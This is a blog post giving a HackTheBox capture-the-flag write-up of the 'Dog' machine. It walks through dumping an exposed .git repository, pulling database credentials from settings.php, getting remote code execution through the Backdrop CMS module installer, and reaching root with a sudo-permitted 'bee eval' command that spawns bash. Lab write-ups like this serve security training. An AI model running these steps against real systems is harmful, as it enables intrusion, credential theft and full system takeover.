HTB: Dog
← Back to the log
September 27, 2026·Johnytiger

HTB: Dog

A .git directory left exposed at the web root hands over the whole site, including the database password. The admin reused it on their own account, the CMS module installer runs whatever archive you point it at, and a sudo-able command line tool finishes it as root.

securityctfwriteuphacktheboxlinuxwebprivilege escalationcms

Kicking things off with an nmap scan we can see some sort of Backdrop CMS, and it also has an exposed repo.

The nmap scan showing SSH and Apache, with the http-git script reporting a Git repository found at the web root and a last commit message referencing Backdrop docs

That git script output is the whole opening. Somebody deployed the site by copying the working directory across, and the .git folder came with it. Let's go straight to that directory and pull the repo down.

git-dumper http://10.129.231.223/.git/ repo
cd repo && ls -la

The dumped repository on the Kali box, containing the core directory, files, layouts, settings.php and the usual Backdrop tree

We have some decent stuff to work with. That settings.php is looking good, so let's check it out.

grep -nE "database|username|password|host|driver|prefix|hash" settings.php

The grep through settings.php, surfacing the database connection string with the MySQL root credentials in it

We have a set of credentials for the MySQL server. Trying them with the usernames we already had didn't work, so let's search the config directory instead. Backdrop stores its exported configuration as JSON files in the repo, and those include user records.

cat files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/* | grep "@dog.htb"

The grep across the exported config files, returning a single address belonging to a user named tiffany

That gives us a real username. Let's pair it with the database password we already pulled.

The Backdrop CMS dashboard after logging in as that user, with full administration menus available

We get access to the dashboard. The site owner reused the database password on their own account, which is why a credential meant for MySQL let us straight into the admin panel.

Heading over to the reports tab and then the status report, we can get the version of Backdrop CMS.

The status report page listing Backdrop CMS version 1.27.1, along with the PHP and MySQL versions

Version 1.27.1. Let's research vulnerabilities for it.

searchsploit backdrop cms

searchsploit listing an authenticated remote command execution entry for Backdrop CMS 1.27.1

We have an authenticated RCE on this version, which fits, since we already hold an admin session. The bug is in the module installer: it will fetch and unpack an archive you point it at, so a crafted module gets you code on the box.

We can't upload the shell directly from the exploit, so we serve it from a Python HTTP server and have the CMS install from that URL instead.

python3 -m http.server 80

The Backdrop module installer with a URL pointing at the attacker's HTTP server, ready to install the crafted archive

That first attempt didn't behave, so I searched around and found another exploit for the same version.

git clone https://github.com/Goultarde/Backdrop_CMS_1.27.1_RCE.git

The Update manager reporting that the module installed successfully

This one worked clean. Browsing to the shell path in the modules directory gives us the shell.

http://dog.htb/modules/shell/shell.php

The in-browser web shell running as the web server user, sitting in the modules directory

The shell doesn't last long, so it looks like something is cleaning it up. Obfuscating the module name gets us a session that sticks around. Now let's enumerate.

cat /etc/passwd

The passwd file listing two real login accounts on the box, jobert and johncusack

Two real users with shells. A reverse shell back to us doesn't work, so let's try that johncusack account against SSH with the password we already have. Password reuse has already paid off once on this box.

ssh johncusack@dog.htb

A successful SSH login as johncusack on Ubuntu 20.04

It works. Let's grab the user flag and move on.

Reading user.txt in the johncusack home directory, with the flag value blurred out

Let's bring over linPEAS and run it to get an idea of what we're working with.

linPEAS flagging the host as vulnerable to the Polkit local privilege escalation, CVE-2021-3560

Seems like we have a privilege escalation candidate. Let's give this a shot.

The UNICORD exploit for CVE-2021-3560 on GitHub

python3 exploit.py -u poe -p alone

The Polkit exploit erroring out on a missing gnome-control-center dependency, on both attempts

Doesn't work here, we're missing dependencies. Moving on. Let's check what we can run with elevated rights instead.

find / -perm -4000 2>/dev/null
sudo -l

The sudo rights for johncusack, showing the bee binary can be run as any user

We can run the bee binary as sudo. That's the Backdrop command line tool, and it has an eval command that runs arbitrary PHP, so let's look it up on GTFOBins and try it.

sudo /usr/local/bin/bee eval "system('/bin/bash');"

The bee eval attempt failing, reporting that the required bootstrap level is not ready

We initially got an error. A simple search shows the tool needs to be pointed at the site root before it will bootstrap, since it expects to be run from inside a Backdrop installation.

sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash');"

A root shell reading both root.txt and the user flag, with both values blurred out

And we get root and the root flag.

This box was pretty easy and simple. Would I find this in the real world nowadays? Maybe not, but it was fun overall.

End of transmissionAll posts
Drive
Johnytiger